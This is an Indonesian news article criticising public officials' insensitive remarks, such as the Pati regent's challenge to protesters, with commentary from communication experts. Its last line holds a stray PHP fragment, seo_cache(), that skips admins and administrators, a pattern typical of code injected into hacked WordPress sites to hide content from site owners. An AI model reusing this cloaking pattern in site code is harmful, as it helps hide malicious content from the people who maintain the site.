Nasional

Kegagalan Pejabat Pahami Konteks Sosial, dan Terapkan Komunikasi Publik yang Empatik Sering Picu Kemarahan Publik

×

Kegagalan Pejabat Pahami Konteks Sosial, dan Terapkan Komunikasi Publik yang Empatik Sering Picu Kemarahan Publik

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Kegagalan pejabat publik dalam memahami konteks sosial, dan menerapkan komunikasi publik yang empatik sering memicu kemarahan masyarakat.

Demikian pendapat sejumlah pakar komunikasi yang dihimpun media ini dari berbagai sumber terkait pernyataan kontroversial para pejabat yang belakangan memantik amarah publik.

Pakar komunikasi politik Universitas ‘Aisyiyah Yogyakarta, Alfian Mubazir. ( Istimewa )

Bupati Pati, Sudewo adalah salah satu contoh pejabat yang menanggapi protes masyarakat atas kebijakan kenaikan Pajak Bumi dan Bangunan (PBB), bukan lewat dialog tapi malah mengeluarkan pernyataan menantang.

“Siapa yang akan melakukan penolakan, saya tunggu. Jangan cuma 5.000 orang, 50.000 orang juga saya hadapi,” ujarnya kala itu.

Pernyataan sombongnya membuat rakyat marah dan gelombang demonstrasi menuntutnya mundur pun berlangsung.

Menurut pakar komunikasi politik Universitas ‘Aisyiyah Yogyakarta, Alfian Mubazir, menantang langsung masyarakat adalah kesalahan besar bupati dalam memahami situasi.

“Seharusnya seorang pejabat bisa lebih bijak dalam melihat kondisi yang ada,” ujarnya beberapa waktu lalu, dikutip dari Antara News.

Bukti kegagalan komunikasi pejabat publik di Indonesia juga diperlihatkan Menteri Agraria dan Tata Ruang Nusron Wahid.

Ia juga sempat melontarkan pernyataan kontroversial, saat merespons kegelisahan publik terkait isu negara akan ambil alih lahan jika tidak dimanfaatkan selama dua tahun.

“Emang Mbahmu, leluhurmu bisa membuat tanah?” sindirnya kala itu.

Demikian pula Wakil Ketua Komisi III DPR Ahmad Sahroni yang menyebut “orang tolol” kepada mereka yang mengkritisi DPR dan menuai aksi penjarahan rumah hingga pemecatan sebagai anggota dewan.

Ada pula pernyataan Kepala Staf TNI AD Jenderal Maruli Simanjuntak yang menyebut “otak kampungan” kepada masyarakat pengkritik RUU TNI.

Bahkan para jurnalis pun menerima pernyataan kontroversial yang sama dari pejabat publik, tatkala redaksi Tempo dikirimi paket kepala babi.

Kepala Kantor Komunikasi Kepresidenan, Hasan Nasbi dengan entengnya menyarankan agar paket tersebut “dimasak saja”.

Termasuk Wamen Ketenagakerjaan, Immanuel Ebenezer yang ketika itu sudah dicopot setelah jadi tersangka kasus korupsi.

Ia merespon fenomena viral #KaburAjaDulu dengan mempersembahkan anak muda pergi ke luar negeri dan tidak usah kembali. ( TAP/MS )




This image has an empty alt attribute; its file name is IMG-20250813-WA0084.jpg
This image has an empty alt attribute; its file name is DPRD-HUT-RI-scaled.jpg
This image has an empty alt attribute; its file name is PT-BUMI-INDAH-HUT-RI-scaled.jpg
This image has an empty alt attribute; its file name is BPBD-HUT-RI-scaled.jpg
This image has an empty alt attribute; its file name is DINAS-PETERNAKAN-HUT-RI-scaled.jpg
This image has an empty alt attribute; its file name is DINAS-PERTANIAN-HUT-RI-1-scaled.jpg
This image has an empty alt attribute; its file name is IMG-20250805-WA0041.jpg
This image has an empty alt attribute; its file name is HUT-RI-SINAR-TAMBOLAKA-scaled.jpg
This image has an empty alt attribute; its file name is IMG-20250420-WA0067.jpg
This image has an empty alt attribute; its file name is PASKAH-DPRD-scaled.jpg
This image has an empty alt attribute; its file name is IMG-20250419-WA0001.jpg
This image has an empty alt attribute; its file name is PASKAH-CAP-KAROSO-scaled.jpg
This image has an empty alt attribute; its file name is PASKAH-ARYA-scaled.jpg

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>